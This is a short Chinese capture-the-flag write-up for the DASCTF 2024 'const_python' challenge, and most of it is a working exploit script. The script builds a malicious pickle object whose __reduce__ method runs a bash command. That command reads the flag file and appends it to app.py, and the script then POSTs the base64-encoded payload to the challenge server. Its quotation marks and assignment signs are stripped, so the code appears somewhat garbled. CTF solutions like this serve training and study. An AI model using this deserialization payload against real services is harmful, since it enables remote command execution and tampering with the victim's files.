![[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python](http://pic.xiahunao.cn/yaotu/[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python)
[DASCTF 2024最后一战寒夜破晓冬至终章]const_pythonimport pickle import subprocess import base64 import requests import re class EvilObject: def __reduce__(self): # 使用 subprocess.run 执行 dir 命令。 # 通过命令行将 flag 文件内容追加到 app.py 末尾。tee 命令的 -a 参数表示追加类似 直接操作文件 return (subprocess.run, ([bash,-c,cat ../../../flag | tee -a app.py ],),{shell: True}) # 创建恶意对象 evil_object EvilObject() # 序列化恶意对象 pickled_data pickle.dumps(evil_object) # base64 编码序列化对象 pickled_data_base64 base64.b64encode(pickled_data).decode(utf-8) # 输出序列化后的 Base64 编码 print(Base64 Encoded Pickled Data:) print(pickled_data_base64) //这是重点记得替换 //这是重点记得替换 //这是重点记得替换 //这是重点记得替换 url http://f7eeb85c-cbe6-43a3-ad8c-25cc55bd5a1f.node5.buuoj.cn:81/ppicklee # 要发送的POST数据通常是字典格式 data {data: pickled_data_base64} # 发送POST请求 response requests.post(url, datadata) # 打印响应的状态码和内容 print(Status Code:, response.status_code) print(Response Text:, response.text)运行后访问http://xxxxxx/src 查看源代码最下面有flag